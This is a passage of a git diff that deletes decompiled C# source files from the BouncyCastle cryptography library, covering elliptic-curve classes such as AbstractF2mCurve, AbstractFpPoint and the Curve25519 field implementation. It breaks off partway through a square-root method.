a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/ZTauElement.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Abc; - -internal class ZTauElement -{ - public readonly BigInteger u; - - public readonly BigInteger v; - - public ZTauElement(BigInteger u, BigInteger v) - { - this.u = u; - this.v = v; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mCurve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mCurve.cs deleted file mode 100644 index 93c8efa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mCurve.cs +++ /dev/null @@ -1,180 +0,0 @@ -using System; -using Org.BouncyCastle.Math.EC.Abc; -using Org.BouncyCastle.Math.Field; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class AbstractF2mCurve : ECCurve -{ - private BigInteger[] si = null; - - public virtual bool IsKoblitz - { - get - { - if (m_order != null && m_cofactor != null && m_b.IsOne) - { - if (!m_a.IsZero) - { - return m_a.IsOne; - } - return true; - } - return false; - } - } - - public static BigInteger Inverse(int m, int[] ks, BigInteger x) - { - return new LongArray(x).ModInverse(m, ks).ToBigInteger(); - } - - private static IFiniteField BuildField(int m, int k1, int k2, int k3) - { - if (k1 == 0) - { - throw new ArgumentException("k1 must be > 0"); - } - if (k2 == 0) - { - if (k3 != 0) - { - throw new ArgumentException("k3 must be 0 if k2 == 0"); - } - return FiniteFields.GetBinaryExtensionField(new int[3] { 0, k1, m }); - } - if (k2 <= k1) - { - throw new ArgumentException("k2 must be > k1"); - } - if (k3 <= k2) - { - throw new ArgumentException("k3 must be > k2"); - } - return FiniteFields.GetBinaryExtensionField(new int[5] { 0, k1, k2, k3, m }); - } - - protected AbstractF2mCurve(int m, int k1, int k2, int k3) - : base(BuildField(m, k1, k2, k3)) - { - } - - public override bool IsValidFieldElement(BigInteger x) - { - if (x != null && x.SignValue >= 0) - { - return x.BitLength <= FieldSize; - } - return false; - } - - [Obsolete("Per-point compression property will be removed")] - public override ECPoint CreatePoint(BigInteger x, BigInteger y, bool withCompression) - { - ECFieldElement eCFieldElement = FromBigInteger(x); - ECFieldElement eCFieldElement2 = FromBigInteger(y); - switch (CoordinateSystem) - { - case 5: - case 6: - if (eCFieldElement.IsZero) - { - if (!eCFieldElement2.Square().Equals(B)) - { - throw new ArgumentException(); - } - } - else - { - eCFieldElement2 = eCFieldElement2.Divide(eCFieldElement).Add(eCFieldElement); - } - break; - } - return CreateRawPoint(eCFieldElement, eCFieldElement2, withCompression); - } - - protected override ECPoint DecompressPoint(int yTilde, BigInteger X1) - { - ECFieldElement eCFieldElement = FromBigInteger(X1); - ECFieldElement eCFieldElement2 = null; - if (eCFieldElement.IsZero) - { - eCFieldElement2 = B.Sqrt(); - } - else - { - ECFieldElement beta = eCFieldElement.Square().Invert().Multiply(B) - .Add(A) - .Add(eCFieldElement); - ECFieldElement eCFieldElement3 = SolveQuadraticEquation(beta); - if (eCFieldElement3 != null) - { - if (eCFieldElement3.TestBitZero() != (yTilde == 1)) - { - eCFieldElement3 = eCFieldElement3.AddOne(); - } - switch (CoordinateSystem) - { - case 5: - case 6: - eCFieldElement2 = eCFieldElement3.Add(eCFieldElement); - break; - default: - eCFieldElement2 = eCFieldElement3.Multiply(eCFieldElement); - break; - } - } - } - if (eCFieldElement2 == null) - { - throw new ArgumentException("Invalid point compression"); - } - return CreateRawPoint(eCFieldElement, eCFieldElement2, withCompression: true); - } - - internal ECFieldElement SolveQuadraticEquation(ECFieldElement beta) - { - if (beta.IsZero) - { - return beta; - } - ECFieldElement eCFieldElement = FromBigInteger(BigInteger.Zero); - int fieldSize = FieldSize; - ECFieldElement eCFieldElement2; - ECFieldElement eCFieldElement5; - do - { - ECFieldElement b = FromBigInteger(BigInteger.Arbitrary(fieldSize)); - eCFieldElement2 = eCFieldElement; - ECFieldElement eCFieldElement3 = beta; - for (int i = 1; i < fieldSize; i++) - { - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - eCFieldElement2 = eCFieldElement2.Square().Add(eCFieldElement4.Multiply(b)); - eCFieldElement3 = eCFieldElement4.Add(beta); - } - if (!eCFieldElement3.IsZero) - { - return null; - } - eCFieldElement5 = eCFieldElement2.Square().Add(eCFieldElement2); - } - while (eCFieldElement5.IsZero); - return eCFieldElement2; - } - - internal virtual BigInteger[] GetSi() - { - if (si == null) - { - lock (this) - { - if (si == null) - { - si = Tnaf.GetSi(this); - } - } - } - return si; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mFieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mFieldElement.cs deleted file mode 100644 index fe2f3c8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mFieldElement.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class AbstractF2mFieldElement : ECFieldElement -{ - public virtual ECFieldElement HalfTrace() - { - int fieldSize = FieldSize; - if ((fieldSize & 1) == 0) - { - throw new InvalidOperationException("Half-trace only defined for odd m"); - } - ECFieldElement eCFieldElement = this; - ECFieldElement eCFieldElement2 = eCFieldElement; - for (int i = 2; i < fieldSize; i += 2) - { - eCFieldElement = eCFieldElement.SquarePow(2); - eCFieldElement2 = eCFieldElement2.Add(eCFieldElement); - } - return eCFieldElement2; - } - - public virtual int Trace() - { - int fieldSize = FieldSize; - ECFieldElement eCFieldElement = this; - ECFieldElement eCFieldElement2 = eCFieldElement; - for (int i = 1; i < fieldSize; i++) - { - eCFieldElement = eCFieldElement.Square(); - eCFieldElement2 = eCFieldElement2.Add(eCFieldElement); - } - if (eCFieldElement2.IsZero) - { - return 0; - } - if (eCFieldElement2.IsOne) - { - return 1; - } - throw new InvalidOperationException("Internal error in trace calculation"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mPoint.cs deleted file mode 100644 index 93ea42f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractF2mPoint.cs +++ /dev/null @@ -1,237 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class AbstractF2mPoint : ECPointBase -{ - protected AbstractF2mPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - } - - protected AbstractF2mPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override bool SatisfiesCurveEquation() - { - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = curve.A; - ECFieldElement eCFieldElement2 = curve.B; - int coordinateSystem = curve.CoordinateSystem; - ECFieldElement eCFieldElement5; - ECFieldElement eCFieldElement4; - if (coordinateSystem == 6) - { - ECFieldElement eCFieldElement3 = base.RawZCoords[0]; - bool isOne = eCFieldElement3.IsOne; - if (rawXCoord.IsZero) - { - eCFieldElement4 = rawYCoord.Square(); - eCFieldElement5 = eCFieldElement2; - if (!isOne) - { - ECFieldElement b = eCFieldElement3.Square(); - eCFieldElement5 = eCFieldElement5.Multiply(b); - } - } - else - { - ECFieldElement eCFieldElement6 = rawYCoord; - ECFieldElement eCFieldElement7 = rawXCoord.Square(); - if (isOne) - { - eCFieldElement4 = eCFieldElement6.Square().Add(eCFieldElement6).Add(eCFieldElement); - eCFieldElement5 = eCFieldElement7.Square().Add(eCFieldElement2); - } - else - { - ECFieldElement eCFieldElement8 = eCFieldElement3.Square(); - ECFieldElement y = eCFieldElement8.Square(); - eCFieldElement4 = eCFieldElement6.Add(eCFieldElement3).MultiplyPlusProduct(eCFieldElement6, eCFieldElement, eCFieldElement8); - eCFieldElement5 = eCFieldElement7.SquarePlusProduct(eCFieldElement2, y); - } - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement7); - } - } - else - { - eCFieldElement4 = rawYCoord.Add(rawXCoord).Multiply(rawYCoord); - switch (coordinateSystem) - { - case 1: - { - ECFieldElement eCFieldElement9 = base.RawZCoords[0]; - if (!eCFieldElement9.IsOne) - { - ECFieldElement b2 = eCFieldElement9.Square(); - ECFieldElement b3 = eCFieldElement9.Multiply(b2); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement9); - eCFieldElement = eCFieldElement.Multiply(eCFieldElement9); - eCFieldElement2 = eCFieldElement2.Multiply(b3); - } - break; - } - default: - throw new InvalidOperationException("unsupported coordinate system"); - case 0: - break; - } - eCFieldElement5 = rawXCoord.Add(eCFieldElement).Multiply(rawXCoord.Square()).Add(eCFieldElement2); - } - return eCFieldElement4.Equals(eCFieldElement5); - } - - protected override bool SatisfiesOrder() - { - ECCurve curve = Curve; - BigInteger cofactor = curve.Cofactor; - if (BigInteger.Two.Equals(cofactor)) - { - ECPoint eCPoint = Normalize(); - ECFieldElement affineXCoord = eCPoint.AffineXCoord; - ECFieldElement eCFieldElement = affineXCoord.Add(curve.A); - return ((AbstractF2mFieldElement)eCFieldElement).Trace() == 0; - } - if (BigInteger.ValueOf(4L).Equals(cofactor)) - { - ECPoint eCPoint2 = Normalize(); - ECFieldElement affineXCoord2 = eCPoint2.AffineXCoord; - ECFieldElement eCFieldElement2 = ((AbstractF2mCurve)curve).SolveQuadraticEquation(affineXCoord2.Add(curve.A)); - if (eCFieldElement2 == null) - { - return false; - } - ECFieldElement eCFieldElement3 = affineXCoord2.Multiply(eCFieldElement2).Add(eCPoint2.AffineYCoord); - ECFieldElement eCFieldElement4 = eCFieldElement3.Add(curve.A); - if (((AbstractF2mFieldElement)eCFieldElement4).Trace() != 0) - { - return ((AbstractF2mFieldElement)eCFieldElement4.Add(affineXCoord2)).Trace() == 0; - } - return true; - } - return base.SatisfiesOrder(); - } - - public override ECPoint ScaleX(ECFieldElement scale) - { - if (base.IsInfinity) - { - return this; - } - switch (CurveCoordinateSystem) - { - case 5: - { - ECFieldElement rawXCoord2 = base.RawXCoord; - ECFieldElement rawYCoord2 = base.RawYCoord; - ECFieldElement b2 = rawXCoord2.Multiply(scale); - ECFieldElement y2 = rawYCoord2.Add(rawXCoord2).Divide(scale).Add(b2); - return Curve.CreateRawPoint(rawXCoord2, y2, base.RawZCoords, base.IsCompressed); - } - case 6: - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement b = rawXCoord.Multiply(scale.Square()); - ECFieldElement y = rawYCoord.Add(rawXCoord).Add(b); - ECFieldElement eCFieldElement2 = eCFieldElement.Multiply(scale); - return Curve.CreateRawPoint(rawXCoord, y, new ECFieldElement[1] { eCFieldElement2 }, base.IsCompressed); - } - default: - return base.ScaleX(scale); - } - } - - public override ECPoint ScaleY(ECFieldElement scale) - { - if (base.IsInfinity) - { - return this; - } - switch (CurveCoordinateSystem) - { - case 5: - case 6: - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement y = rawYCoord.Add(rawXCoord).Multiply(scale).Add(rawXCoord); - return Curve.CreateRawPoint(rawXCoord, y, base.RawZCoords, base.IsCompressed); - } - default: - return base.ScaleY(scale); - } - } - - public override ECPoint Subtract(ECPoint b) - { - if (b.IsInfinity) - { - return this; - } - return Add(b.Negate()); - } - - public virtual AbstractF2mPoint Tau() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - int coordinateSystem = curve.CoordinateSystem; - ECFieldElement rawXCoord = base.RawXCoord; - switch (coordinateSystem) - { - case 0: - case 5: - { - ECFieldElement rawYCoord2 = base.RawYCoord; - return (AbstractF2mPoint)curve.CreateRawPoint(rawXCoord.Square(), rawYCoord2.Square(), base.IsCompressed); - } - case 1: - case 6: - { - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return (AbstractF2mPoint)curve.CreateRawPoint(rawXCoord.Square(), rawYCoord.Square(), new ECFieldElement[1] { eCFieldElement.Square() }, base.IsCompressed); - } - default: - throw new InvalidOperationException("unsupported coordinate system"); - } - } - - public virtual AbstractF2mPoint TauPow(int pow) - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - int coordinateSystem = curve.CoordinateSystem; - ECFieldElement rawXCoord = base.RawXCoord; - switch (coordinateSystem) - { - case 0: - case 5: - { - ECFieldElement rawYCoord2 = base.RawYCoord; - return (AbstractF2mPoint)curve.CreateRawPoint(rawXCoord.SquarePow(pow), rawYCoord2.SquarePow(pow), base.IsCompressed); - } - case 1: - case 6: - { - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return (AbstractF2mPoint)curve.CreateRawPoint(rawXCoord.SquarePow(pow), rawYCoord.SquarePow(pow), new ECFieldElement[1] { eCFieldElement.SquarePow(pow) }, base.IsCompressed); - } - default: - throw new InvalidOperationException("unsupported coordinate system"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpCurve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpCurve.cs deleted file mode 100644 index 5aa8117..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpCurve.cs +++ /dev/null @@ -1,38 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Field; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class AbstractFpCurve : ECCurve -{ - protected AbstractFpCurve(BigInteger q) - : base(FiniteFields.GetPrimeField(q)) - { - } - - public override bool IsValidFieldElement(BigInteger x) - { - if (x != null && x.SignValue >= 0) - { - return x.CompareTo(Field.Characteristic) < 0; - } - return false; - } - - protected override ECPoint DecompressPoint(int yTilde, BigInteger X1) - { - ECFieldElement eCFieldElement = FromBigInteger(X1); - ECFieldElement eCFieldElement2 = eCFieldElement.Square().Add(A).Multiply(eCFieldElement) - .Add(B); - ECFieldElement eCFieldElement3 = eCFieldElement2.Sqrt(); - if (eCFieldElement3 == null) - { - throw new ArgumentException("Invalid point compression"); - } - if (eCFieldElement3.TestBitZero() != (yTilde == 1)) - { - eCFieldElement3 = eCFieldElement3.Negate(); - } - return CreateRawPoint(eCFieldElement, eCFieldElement3, withCompression: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpFieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpFieldElement.cs deleted file mode 100644 index 2a2bc84..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpFieldElement.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Math.EC; - -public abstract class AbstractFpFieldElement : ECFieldElement -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpPoint.cs deleted file mode 100644 index 58ea9ae..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/AbstractFpPoint.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class AbstractFpPoint : ECPointBase -{ - protected internal override bool CompressionYTilde => AffineYCoord.TestBitZero(); - - protected AbstractFpPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - } - - protected AbstractFpPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override bool SatisfiesCurveEquation() - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = Curve.A; - ECFieldElement eCFieldElement2 = Curve.B; - ECFieldElement eCFieldElement3 = rawYCoord.Square(); - switch (CurveCoordinateSystem) - { - case 1: - { - ECFieldElement eCFieldElement6 = base.RawZCoords[0]; - if (!eCFieldElement6.IsOne) - { - ECFieldElement b3 = eCFieldElement6.Square(); - ECFieldElement b4 = eCFieldElement6.Multiply(b3); - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement6); - eCFieldElement = eCFieldElement.Multiply(b3); - eCFieldElement2 = eCFieldElement2.Multiply(b4); - } - break; - } - case 2: - case 3: - case 4: - { - ECFieldElement eCFieldElement4 = base.RawZCoords[0]; - if (!eCFieldElement4.IsOne) - { - ECFieldElement eCFieldElement5 = eCFieldElement4.Square(); - ECFieldElement b = eCFieldElement5.Square(); - ECFieldElement b2 = eCFieldElement5.Multiply(b); - eCFieldElement = eCFieldElement.Multiply(b); - eCFieldElement2 = eCFieldElement2.Multiply(b2); - } - break; - } - default: - throw new InvalidOperationException("unsupported coordinate system"); - case 0: - break; - } - ECFieldElement other = rawXCoord.Square().Add(eCFieldElement).Multiply(rawXCoord) - .Add(eCFieldElement2); - return eCFieldElement3.Equals(other); - } - - public override ECPoint Subtract(ECPoint b) - { - if (b.IsInfinity) - { - return this; - } - return Add(b.Negate()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519.cs deleted file mode 100644 index 4bf9f4c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Djb; - -internal class Curve25519 : AbstractFpCurve -{ - private class Curve25519LookupTable : ECLookupTable - { - private readonly Curve25519 m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal Curve25519LookupTable(Curve25519 outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 8; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 8 + j] & num2); - } - num += 16; - } - return m_outer.CreateRawPoint(new Curve25519FieldElement(array), new Curve25519FieldElement(array2), withCompression: false); - } - } - - private const int Curve25519_DEFAULT_COORDS = 4; - - private const int CURVE25519_FE_INTS = 8; - - public static readonly BigInteger q = Nat256.ToBigInteger(Curve25519Field.P); - - protected readonly Curve25519Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public Curve25519() - : base(q) - { - m_infinity = new Curve25519Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA984914A144"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("7B425ED097B425ED097B425ED097B425ED097B425ED097B4260B5E9C7710C864"))); - m_order = new BigInteger(1, Hex.Decode("1000000000000000000000000000000014DEF9DEA2F79CD65812631A5CF5D3ED")); - m_cofactor = BigInteger.ValueOf(8L); - m_coord = 4; - } - - protected override ECCurve CloneCurve() - { - return new Curve25519(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 4) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new Curve25519FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new Curve25519Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new Curve25519Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 8 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy(((Curve25519FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 8; - Nat256.Copy(((Curve25519FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 8; - } - return new Curve25519LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519Field.cs deleted file mode 100644 index a0714d6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519Field.cs +++ /dev/null @@ -1,237 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Djb; - -internal class Curve25519Field -{ - private const uint P7 = 2147483647u; - - private const uint PInv = 19u; - - internal static readonly uint[] P = new uint[8] { 4294967277u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 2147483647u }; - - private static readonly uint[] PExt = new uint[16] - { - 361u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, 4294967277u, 4294967295u, - 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 1073741823u - }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - Nat256.Add(x, y, z); - if (Nat256.Gte(z, P)) - { - SubPFrom(z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - Nat.Add(16, xx, yy, zz); - if (Nat.Gte(16, zz, PExt)) - { - SubPExtFrom(zz); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - Nat.Inc(8, x, z); - if (Nat256.Gte(z, P)) - { - SubPFrom(z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat256.FromBigInteger(x); - while (Nat256.Gte(array, P)) - { - Nat256.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(8, x, 0u, z); - return; - } - Nat256.Add(x, P, z); - Nat.ShiftDownBit(8, z, 0u); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - Nat256.MulAddTo(x, y, zz); - if (Nat.Gte(16, zz, PExt)) - { - SubPExtFrom(zz); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat256.IsZero(x)) - { - Nat256.Zero(z); - } - else - { - Nat256.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - uint num = xx[7]; - Nat.ShiftUpBit(8, xx, 8, num, z, 0); - uint num2 = Nat256.MulByWordAddTo(19u, xx, z) << 1; - uint num3 = z[7]; - num2 += (num3 >> 31) - (num >> 31); - num3 &= 0x7FFFFFFF; - if ((z[7] = num3 + Nat.AddWordTo(7, num2 * 19, z)) >= int.MaxValue && Nat256.Gte(z, P)) - { - SubPFrom(z); - } - } - - public static void Reduce27(uint x, uint[] z) - { - uint num = z[7]; - uint num2 = (x << 1) | (num >> 31); - num &= 0x7FFFFFFF; - if ((z[7] = num + Nat.AddWordTo(7, num2 * 19, z)) >= int.MaxValue && Nat256.Gte(z, P)) - { - SubPFrom(z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat256.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat256.Sub(x, y, z) != 0) - { - AddPTo(z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(16, xx, yy, zz) != 0) - { - AddPExtTo(zz); - } - } - - public static void Twice(uint[] x, uint[] z) - { - Nat.ShiftUpBit(8, x, 0u, z); - if (Nat256.Gte(z, P)) - { - SubPFrom(z); - } - } - - private static uint AddPTo(uint[] z) - { - long num = (long)z[0] - 19L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num = Nat.DecAt(7, z, 1); - } - num += (long)z[7] + 2147483648L; - z[7] = (uint)num; - num >>= 32; - return (uint)num; - } - - private static uint AddPExtTo(uint[] zz) - { - long num = (long)zz[0] + (long)PExt[0]; - zz[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num = Nat.IncAt(8, zz, 1); - } - num += (long)zz[8] - 19L; - zz[8] = (uint)num; - num >>= 32; - if (num != 0) - { - num = Nat.DecAt(15, zz, 9); - } - num += (long)zz[15] + (long)(PExt[15] + 1); - zz[15] = (uint)num; - num >>= 32; - return (uint)num; - } - - private static int SubPFrom(uint[] z) - { - long num = (long)z[0] + 19L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num = Nat.IncAt(7, z, 1); - } - num += (long)z[7] - 2147483648L; - z[7] = (uint)num; - num >>= 32; - return (int)num; - } - - private static int SubPExtFrom(uint[] zz) - { - long num = (long)zz[0] - (long)PExt[0]; - zz[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num = Nat.DecAt(8, zz, 1); - } - num += (long)zz[8] + 19L; - zz[8] = (uint)num; - num >>= 32; - if (num != 0) - { - num = Nat.IncAt(15, zz, 9); - } - num += (long)zz[15] - (long)(PExt[15] + 1); - zz[15] = (uint)num; - num >>= 32; - return (int)num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519FieldElement.cs deleted file mode 100644 index 5c57248..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519FieldElement.cs +++ /dev/null @@ -1,193 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Djb; - -internal class Curve25519FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = Curve25519.q; - - private static readonly uint[] PRECOMP_POW2 = new uint[8] { 1242472624u, 3303938855u, 2905597048u, 792926214u, 1039914919u, 726466713u, 1338105611u, 730014848u }; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat256.IsZero(x); - - public override bool IsOne => Nat256.IsOne(x); - - public override string FieldName => "Curve25519Field"; - - public override int FieldSize => Q.BitLength; - - public Curve25519FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for Curve25519FieldElement", "x"); - } - this.x = Curve25519Field.FromBigInteger(x); - } - - public Curve25519FieldElement() - { - x = Nat256.Create(); - } - - protected internal Curve25519FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat256.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat256.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat256.Create(); - Curve25519Field.Add(x, ((Curve25519FieldElement)b).x, z); - return new Curve25519FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat256.Create(); - Curve25519Field.AddOne(x, z); - return new Curve25519FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat256.Create(); - Curve25519Field.Subtract(x, ((Curve25519FieldElement)b).x, z); - return new Curve25519FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat256.Create(); - Curve25519Field.Multiply(x, ((Curve25519FieldElement)b).x, z); - return new Curve25519FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat256.Create(); - Mod.Invert(Curve25519Field.P, ((Curve25519FieldElement)b).x, z); - Curve25519Field.Multiply(z, x, z); - return new Curve25519FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat256.Create(); - Curve25519Field.Negate(x, z); - return new Curve25519FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat256.Create(); - Curve25519Field.Square(x, z); - return new Curve25519FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat256.Create(); - Mod.Invert(Curve25519Field.P, x, z); - return new Curve25519FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat256.IsZero(y) || Nat256.IsOne(y)) - { - return this; - } - uint[] array = Nat256.Create(); - Curve25519Field.Square(y, array); - Curve25519Field.Multiply(array, y, array); - uint[] array2 = array; - Curve25519Field.Square(array, array2); - Curve25519Field.Multiply(array2, y, array2); - uint[] array3 = Nat256.Create(); - 